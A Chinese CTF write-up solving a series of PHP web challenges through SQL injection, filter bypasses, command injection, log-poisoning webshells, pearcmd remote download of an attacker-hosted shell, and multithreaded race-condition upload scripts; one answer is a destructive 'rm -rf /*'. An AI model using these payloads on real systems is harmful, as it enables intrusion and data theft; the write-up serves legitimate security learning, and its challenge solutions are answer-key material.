# web

# web1

if(isset($_GET['id'])){
    $id = $_GET['id'];
    # 判断 id 的值是否大于 999
    if(intval($id) > 999){
        # id 大于 999 直接退出并返回错误
        die("id error");
    }else{
        # id 小于 999 拼接 sql 语句
        $sql = "select * from article where id = $id order by id limit 1 ";
        echo "执行的sql为:$sql<br>";
        # 执行 sql 语句
        $result = $conn->query($sql);
        # 判断有没有查询结果
        if ($result->num_rows > 0) {
            # 如果有结果,获取结果对象的值 $row
            while($row = $result->fetch_assoc()) {
                echo "id: " . $row["id"]. " - title: " . $row["title"]. " <br><hr>" . $row["content"]. "<br>";
            }
        }
        # 关闭数据库连接
        $conn->close();
    }
    
}else{
    highlight_file(__FILE__);
}
?>
</body>
<!-- flag in id = 1000 -->
</html>

目标就是让 intval ($id) <= 999 的同时 $id=1000

?id=999%2B1
+ 用 urlencode->%2B
?id=10 or id=1000# 从 sql 语句入手

# web2

和上一题比只多了个

if(preg_match("/or|\+/i",$id))

只要不出现 or 或者 + 就可以了

?id=100*10
?id=10||id=1000# 从 sql 语句入手

# web3

修改了匹配规则

preg_match("/or|\-|\\|\*|\<|\>|\!|x|hex|\+/i",$id)

intval 如果转换字符串的时候,先判断是否以数字开头。当传入 '1000' 时,以 ' 开头,直接返回 0

<?php
$a='1000'
$b=$_GET['b']
当传入?b='1000',分别var_dump $a$b,返回的结果不一样
?id='1000'

# web4

preg_match("/or|\-|\\\|\/|\\*|\<|\>|\!|x|hex|\(|\)|\+|select/i",$id)

还是 web3 的原则,利用取反符号,intval 遇到~会判断为字符串,得到 0 绕过

?id=~~1000

# web5

preg_match("/\'|\"|or|\||\-|\\\|\/|\\*|\<|\>|\!|x|hex|\(|\)|\+|select/i", $id)

继续取反

?id=~~1000

# web6

preg_match("/\'|\"|or|\||\-|\\\|\/|\\*|\<|\>|\^|\!|x|hex|\(|\)|\+|select/i",$id)

继续

?id=~~1000

# web7

preg_match("/\'|\"|or|\||\-|\\\|\/|\\*|\<|\>|\^|\!|\~|x|hex|\(|\)|\+|select/i",$id)

intval 默认给的 base 是 10,当 base 给到 0 的时候,才会根据传入的值动态判断 base。base10 解析之后的 0b1111101000 应该是 int (0)

?id=0b1111101000

# web8

<?php
# 包含数据库连接文件,key flag 也在里面定义
include("config.php");
# 判断 get 提交的参数 id 是否存在
if(isset($_GET['flag'])){
        if(isset($_GET['flag'])){
                $f = $_GET['flag'];
                if($key===$f){
                        echo $flag;
                }
        }
}else{
    highlight_file(__FILE__);
}
?>

傻逼题

?flag=rm -rf /*

# web9

if(isset($_GET['c'])){
        $c = $_GET['c'];
        if(preg_match("/system|exec|highlight/i",$c)){
                eval($c);
        }else{
            die("cmd error");
        }
}else{
        highlight_file(__FILE__);
}

傻逼了,以为看的是!preg_match,最开始用的 php://input 伪协议绕过

结果这么简单

?c=system('cat config'|base64)

# web10

if(!preg_match("/system|exec|highlight/i",$c))

换用 passthru () 函数

?c=passthru('cat config.php|base64');

# web11

if(!preg_match("/system|exec|highlight|cat/i",$c))

passthru+tac

?c=passthru('tac config.php|base64');

# web12

if(!preg_match("/system|exec|highlight|cat|\.|php|config/i",$c))

禁止的字符新增了. php config

考虑使用通配符

?c=passthru('tac c*|base64');

# web13

if(!preg_match("/system|exec|highlight|cat|\.|\;|file|php|config/i",$c))

亏贼, ?> 能代替 ;

?c=passthru('tac c*|base64')?>

# web14

if(!preg_match("/system|exec|highlight|cat|\(|\.|\;|file|php|config/i",$c))

多加了个 (,其实还挺低能的,在上面也能用统一方法直接 echo 出来

就是需要把;换成?>

参考

代码不能包含打开 / 关闭 PHP tags。比如, 'echo "Hi!";' 不能这样传入: '<?php echo "Hi!"; ?>' 。但仍然可以用合适的 PHP tag 来离开、重新进入 PHP 模式。比如 'echo "In PHP mode!"; ?>In HTML mode!<?php echo "Back in PHP mode!";'

?c=echo $flag?>

# web15

if(!preg_match("/system|\\*|\?|\<|\>|\=|exec|highlight|cat|\(|\.|file|php|config/i",$c))

把 <>? 全过滤了,没发离开 php 模式,但没禁用;

?c=echo $flag;

# web16

if(md5("ctfshow$c")==="a6f57ae38a22448c2f07f3f95f49c84e")

脑残,md5 逆向之后是 ctfshow36d

?c=36d

# web17

if(!preg_match("/php/i",$c)){
               include($c);
       }

看到 include,第一时间想的伪协议。换用了 data 也因为被禁用没有成功

data:// wrapper is disabled in the server configuration by allow_url_include=0

看了 wp 才知道,只是包含日志

?c=/var/log/nginx/access.log

通过日志看得出来会记录 UA

那就修改 UA 为一句话木马

image-20230918132518605

然后访问带着一句话木马的 UA 访问一遍网站,等写进去再打一遍

?c=/var/log/nginx/access.log
test=system('cat 36d.php|base64');

# web18

只在 $_GET ['c'] 里多加入了对 file 的过滤,同上↑

# web19

if(!preg_match("/php|file|base/i",$c))

同理

# web20

if(!preg_match("/php|file|base|rot/i",$c))

同理

# web21

if(!preg_match("/php|file|\:|base|rot/i",$c))

同上

# web22

if(!preg_match("/\:|\/|\\\/i",$c))

亏贼,难度一下上来了,完全没有思路

https://blog.csdn.net/qq_46091464/article/details/108954166

'argv'

传递给该脚本的参数的数组。当脚本以命令行方式运行时,argv 变量传递给程序 C 语言样式的命令行参数。当通过 GET 方式调用时,该变量包含 query string。

'argc'

包含命令行模式下传递给该脚本的参数的数目 (如果运行在命令行模式下)。

当正常传入?c=xxx&b=xx 时,$_SERVER ['argc'] 的值始终是 1

image-20230918165121242

但是略加修改,?c=xxx&+b=xx 时,就变成了 2。

而环境内极其傻逼的还有一个 pearcmd.php,pearcmd 有一个 download 功能可以从外部下载 php 文件

那就是包含了 pearcmd.php,然后通过 + 分隔,执行 download 命令

攻击机:
echo "<?php system ('cat 3*|base64');?>">shell.php
python3 -m http.server 81
靶机:
?c=pearcmd&+download+http://ip:81/shell.php
/shell.php

# 获得百分之百的快乐

if(strlen($_GET[1])<4){
     echo shell_exec($_GET[1]);
}

要求传入 1 的长度 < 4,太牛逼了

直接跑个 ls,发现名字都很靠后

image-20230918175530980

tip: 在 linux 上,直接执行 > name 可以创建一个名为 name 的文件并往里写东西

image-20230918175716313

在 Linux 的 Shell 环境下,直接执行星号(*)通常会触发通配符展开(Wildcard Expansion)操作,其效果是匹配当前目录下的所有文件和目录(除了以点开头的隐藏文件和隐藏目录)并将它们作为参数传递给相应的命令。这是因为星号(*)是通配符,用于匹配零个或多个字符。

直接输 * 会把当前文件夹下的第一个文件名作为命令,剩余的文件名作为参数

如果当前文件夹下有文件:cat,test。执行 * 的效果等价于 cat test

除了 cat,还有 nl 这个命令同样可以用来显示内容

?1=>nl
?1=*

# web23

第一次遇到竞争上传,学习一下

其实每次上传成功之后都要等一下就该意识到有个 sleep 然后想到竞争上传的

源码

$new_filename = date('YmdHis',time()).rand(100,1000).'.'.$ext_suffix;
if (move_uploaded_file($temp_name, 'uploads/'.$new_filename)){
	echo "uploads/$new_filename";
	sleep(1);
	system("rm -rf ./uploads/*.php");
}

有爆破脚本

# coding: utf-8
# Auth: y2hlbmc
 
import requests
import time
import threading
 
url = "http://0d33429a-38e4-4c4e-8d57-16fca7d5eab1.challenge.ctf.show/"
 
def Thread(fun,*args):
    return threading.Thread(target=fun, args=args)
 
def req(fname):
    r = requests.get(url + "uploads/" + fname + ".php")
    x = r.text
    if len(x) > 0 and "404 Not Found" not in x and "容器已过期" not in x:
        print(x)
 
def Thread_start(fname):
    for i in range(100,400):
        # 每个文件名单起一个线程
        Thread(req, fname + str(i)).start()
 
def upload():
    while True:
    	# 指定每次上传文件的内容
        file_data = {'file':('shell.php',"<?php system(\"ls -l ../\");?>".encode())}
        r = requests.post(url + "upload.php",files=file_data)
        txt = r.text
        print("uploaded:",txt)
        # 用本次的文件名推算下一次的文件名,相差 sleep 一次的时间间隔
        ts = int(time.mktime(time.strptime(txt[8:22], "%Y%m%d%H%M%S")))
        fname = time.strftime("%Y%m%d%H%M%S", time.localtime(ts + 1))
        # 单起一个线程,爆破下一次 upload 的文件名
        Thread(Thread_start, fname).start()
 
 
if __name__ == '__main__':
    upload()

当然也可以用 bp+python 一起爆

具体思路是 bp 用 instruder 一直发送上传包

python 用当前时间 + range+thread 一直爆

如果不采用推算文件名和多线程的方法,想要在来回时延下做到 1s 内访问到是非常困难的,所以下面代码的成功率极低

file_data = {'file': ('shell.php', "<?php system (\"ls -l ../\");?>".encode ())}
r = requests.post (url + "upload.php", files = file_data)
txt = r.text
# print ("uploaded:", txt)
r = requests.get (url + "uploads/" + txt)
x = r.text
if len (x) > 0 and "404 Not Found" not in x and "容器已过期" not in x:
print (x)

# web24

一样是竞争上传的题目,把 range 减少,时间增加了

# coding: utf-8
# Auth: y2hlbmc
 
import requests
import time
import threading
 
url = "http://aa167920-a54b-498c-bf8e-877615061128.challenge.ctf.show/"
 
def Thread(fun,*args):
    return threading.Thread(target=fun, args=args)
 
def req(fname):
    r = requests.get(url + "uploads/" + fname + ".php")
    x = r.text
    if len(x) > 0 and "404 Not Found" not in x and "容器已过期" not in x:
        print(x)
 
def Thread_start(fname):
    for i in range(100,300):
        # 每个文件名单起一个线程
        Thread(req, fname + str(i)).start()
 
def upload():
    while True:
    	# 指定每次上传文件的内容
        file_data = {'file':('shell.php',"<?php system(\"ls -l ../\");?>".encode())}
        r = requests.post(url + "upload.php",files=file_data)
        txt = r.text
        print("uploaded:",txt)
        # 用本次的文件名推算下一次的文件名,相差 sleep 一次的时间间隔
        ts = int(time.mktime(time.strptime(txt[8:22], "%Y%m%d%H%M%S")))
        fname = time.strftime("%Y%m%d%H%M%S", time.localtime(ts + 3))
        # 单起一个线程,爆破下一次 upload 的文件名
        Thread(Thread_start, fname).start()
 
 
if __name__ == '__main__':
    upload()